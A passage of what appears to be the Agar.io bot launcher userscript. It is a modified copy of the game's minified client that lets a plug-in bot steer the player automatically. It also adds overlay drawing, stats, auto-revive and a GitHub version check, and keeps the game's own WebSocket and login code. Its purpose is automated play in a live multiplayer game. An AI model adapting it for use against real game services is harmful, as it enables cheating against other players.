latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } window.botList[botIndex].keyAction(e); } function humanPlayer() { //Don't need to do anything. return [getPointX(), getPointY()]; } function pb() { //UPDATE window.botList = window.botList || []; window.jQuery('#nick').val(originalName); function HumanPlayerObject() { this.name = "Human"; this.keyAction = function(key) {}; this.displayText = function() { return []; }; this.mainLoop = humanPlayer; } var hpo = new HumanPlayerObject(); window.botList.push(hpo); window.updateBotList(); ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - 10, da: b - 10, oa: c + 10, pa: l + 10, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (toggle || window.botList[botIndex].name == "Human") { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t)); } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/findServer", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b.alert && alert(b.alert), Ca("ws://" + b.ip, b.token)) }, dataType: "json", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 5, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, g.Q = C) } for (u = 0;;) { d = a.getUint32(b, !0); b += 4; if (0 == d) break; ++u; var f, p = a.getInt16(b, !0); b += 4; g = a.getInt16(b, !0); b += 4; f = a.getInt16(b, !0); b += 2; for (var h = a.getUint8(b++), w = a.getUint8(b++), m = a.getUint8(b++), h = (h << 16 | w << 8 | m).toString(16); 6 > h.length;) h = "0" + h; var h = "#" + h, w = a.getUint8(b++), m = !!(w & 1), r = !!(w & 16); w & 2 && (b += 4); w & 4 && (b += 8); w & 8 && (b += 16); for (var q, n = "";;) { q = a.getUint16(b, !0); b += 2; if (0 == q) break; n += String.fromCharCode(q) } q = n; n = null; E.hasOwnProperty(d) ? (n = E[d], n.P(), n.s = n.x, n.t = n.y, n.r = n.size, n.color = h) : (n = new da(d, p, g, f, h, q), v.push(n), E[d] = n, n.ua = p, n.va = g); n.h = m; n.n = r; n.J = p; n.K = g; n.q = f; n.sa = c; n.Q = C; n.ba = w; q && n.B(q); - 1 != M.indexOf(d) && -1 == k.indexOf(n) && (document.getElementById("overlays").style.display = "none", k.push(n), n.birth = getLastUpdate(), n.birthMass = (n.size * n.size / 100), 1 == k.length && (s = n.x, t = n.y, db())) //UPDATE interNodes[d] = window.getCells()[d]; } //UPDATE Object.keys(interNodes).forEach(function(element, index) { //console.log("start: " + interNodes[element].updateTime + " current: " + D + " life: " + (D - interNodes[element].updateTime)); var isRemoved = !window.getCells().hasOwnProperty(element); //console.log("Time not updated: " + (window.getLastUpdate() - interNodes[element].getUptimeTime())); if (isRemoved && (window.getLastUpdate() - interNodes[element].getUptimeTime()) > 3000) { delete interNodes[element]; } else { for (var i = 0; i < getPlayer().length; i++) { if (isRemoved && computeDistance(getPlayer()[i].x, getPlayer()[i].y, interNodes[element].x, interNodes[element].y) < getPlayer()[i].size + 710) { delete interNodes[element]; break; } } } }); c = a.getUint32(b, !0); b += 4; for (u = 0; u < c; u++) d = a.getUint32(b, !0), b += 4, n = E[d], null != n && n.X(); //UPDATE //Ha && 0 == k.length && Sa(!1) } //UPDATE function computeDistance(x1, y1, x2, y2) { var xdis = x1 - x2; // <--- FAKE AmS OF COURSE! var ydis = y1 - y2; var distance = Math.sqrt(xdis * xdis + ydis * ydis); return distance; } /** * Some horse shit of some sort. * @return Horse Shit */ function screenDistance() { return Math.min(computeDistance(getOffsetX(), getOffsetY(), screenToGameX(getWidth()), getOffsetY()), computeDistance(getOffsetX(), getOffsetY(), getOffsetX(), screenToGameY(getHeight()))); } window.verticalDistance = function() { return computeDistance(screenToGameX(0), screenToGameY(0), screenToGameX(getWidth()), screenToGameY(getHeight())); } /** * A conversion from the screen's horizontal coordinate system * to the game's horizontal coordinate system. * @param x in the screen's coordinate system * @return x in the game's coordinate system */ window.screenToGameX = function(x) { return (x - getWidth() / 2) / getRatio() + getX(); } /** * A conversion from the screen's vertical coordinate system * to the game's vertical coordinate system. * @param y in the screen's coordinate system * @return y in the game's coordinate system */ window.screenToGameY = function(y) { return (y - getHeight() / 2) / getRatio() + getY(); } window.drawPoint = function(x_1, y_1, drawColor, text) { if (!toggleDraw) { dPoints.push([x_1, y_1, drawColor]); dText.push(text); } } window.drawArc = function(x_1, y_1, x_2, y_2, x_3, y_3, drawColor) { if (!toggleDraw) { var radius = computeDistance(x_1, y_1, x_3, y_3); dArc.push([x_1, y_1, x_2, y_2, x_3, y_3, radius, drawColor]); } } window.drawLine = function(x_1, y_1, x_2, y_2, drawColor) { if (!toggleDraw) { lines.push([x_1, y_1, x_2, y_2, drawColor]); } } window.drawCircle = function(x_1, y_1, radius, drawColor) { if (!toggleDraw) { circles.push([x_1, y_1, radius, drawColor]); } } function V() { //UPDATE if (getPlayer().length == 0 && !reviving && ~~(getCurrentScore() / 100) > 0) { console.log("Dead: " + ~~(getCurrentScore() / 100)); apos('send', 'pageview'); } if (getPlayer().length == 0) { console.log("Revive"); setNick(originalName); reviving = true; } else if (getPlayer().length > 0 && reviving) { reviving = false; console.log("Done Reviving!"); } if (T()) { var a = fa - m / 2; var b = ga - r / 2; 64 > a * a + b * b || .01 > Math.abs(eb - ia) && .01 > Math.abs(fb - ja) || (eb = ia, fb = ja, a = N(13), a.setUint8(0, 16), a.setInt32(1, ia, !0), a.setInt32(5, ja, !0), a.setUint32(9, 0, !0), O(a)) } } function cb() { if (T() && $ && null != K) { var a = N(1 + 2 * K.length); a.setUint8(0, 0); for (var b = 0; b < K.length; ++b) a.setUint16(1 + 2 * b, K.charCodeAt(b), !0); O(a) } } function T() { return null != q && q.readyState == q.OPEN } window.opCode = function(a) { console.log("Sending op code."); H(parseInt(a)); } function H(a) { if (T()) { var b = N(1); b.setUint8(0, a); O(b) } } function $a() { if (T() && null != B) { var a = N(1 + B.length); a.setUint8(0, 81); for (var b = 0; b < B.length; ++b) a.setUint8(b + 1, B.charCodeAt(b)); O(a) } } function Ta() { m = d.innerWidth; r = d.innerHeight; za.width = G.width = m; za.height = G.height = r; var a = e("#helloContainer"); a.css("transform", "none"); var b = a.height(), c = d.innerHeight; b > c / 1.1 ? a.css("transform", "translate(-50%, -50%) scale(" + c / b / 1.1 + ")") : a.css("transform", "translate(-50%, -50%)"); gb() } function hb() { var a; a = Math.max(r / 1080, m / 1920); return a *= J } function yb() { if (0 != k.length) { for (var a = 0, b = 0; b < k.length; b++) a += k[b].size; a = Math.pow(Math.min(64 / a, 1), .4) * hb(); h = (9 * h + a) / 10 } } function gb() { //UPDATE dPoints = []; circles = []; dArc = []; dText = []; lines = []; var a, b = Date.now(); ++zb; C = b; if (0 < k.length) { yb(); for (var c = a = 0, d = 0; d < k.length; d++) k[d].P(), a += k[d].x / k.length, c += k[d].y / k.length; aa = a; ba = c; ca = h; s = (s + a) / 2; t = (t + c) / 2; } else s = (29 * s + aa) / 30, t = (29 * t + ba) / 30, h = (9 * h + ca * hb()) / 10; qb(); Aa(); Ia || f.clearRect(0, 0, m, r); Ia ? (f.fillStyle = ta ? "#111111" : "#F2FBFF", f.globalAlpha = .05, f.fillRect(0, 0, m, r), f.globalAlpha = 1) : Ab(); v.sort(function(a, b) { return a.size == b.size ? a.id - b.id : a.size - b.size }); f.save(); f.translate(m / 2, r / 2); f.scale(h, h); f.translate(-s, -t); //UPDATE f.save(); f.beginPath(); f.lineWidth = 5; f.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapStartX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapStartY()); f.lineTo(getMapEndX(), getMapStartY()); f.stroke(); f.moveTo(getMapEndX(), getMapStartY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.moveTo(getMapStartX(), getMapEndY()); f.lineTo(getMapEndX(), getMapEndY()); f.stroke(); f.restore(); for (d = 0; d < v.length; d++) v[d].w(f); for (d = 0; d < Q.length; d++) Q[d].w(f); //UPDATE if (getPlayer().length > 0) { var moveLoc = window.botList[botIndex].mainLoop(); if (!toggle) { setPoint(moveLoc[0], moveLoc[1]); } } customRender(f); if (Ga) { na = (3 * na + Ea) / 4; oa = (3 * oa + Fa) / 4; f.save(); f.strokeStyle = "#FFAAAA"; f.lineWidth = 10; f.lineCap = "round"; f.lineJoin = "round"; f.globalAlpha = .5; f.beginPath(); for (d = 0; d < k.length; d++) f.moveTo(k[d].x, k[d].y), f.lineTo(na, oa); f.stroke(); f.restore(); } f.restore(); z && z.width && f.drawImage(z, m - z.width - 10, 10); R = Math.max(R, Bb()); //UPDATE var currentDate = new Date(); var nbSeconds = 0; if (getPlayer().length > 0) { //nbSeconds = currentDate.getSeconds() + currentDate.getMinutes() * 60 + currentDate.getHours() * 3600 - lifeTimer.getSeconds() - lifeTimer.getMinutes() * 60 - lifeTimer.getHours() * 3600; nbSeconds = (currentDate.getTime() - lifeTimer.getTime()) / 1000; } bestTime = Math.max(nbSeconds, bestTime); var displayText = 'Score: ' + ~~(R / 100) + " Current Time: " + nbSeconds + " seconds."; 0 != R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["NotReallyABot"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, 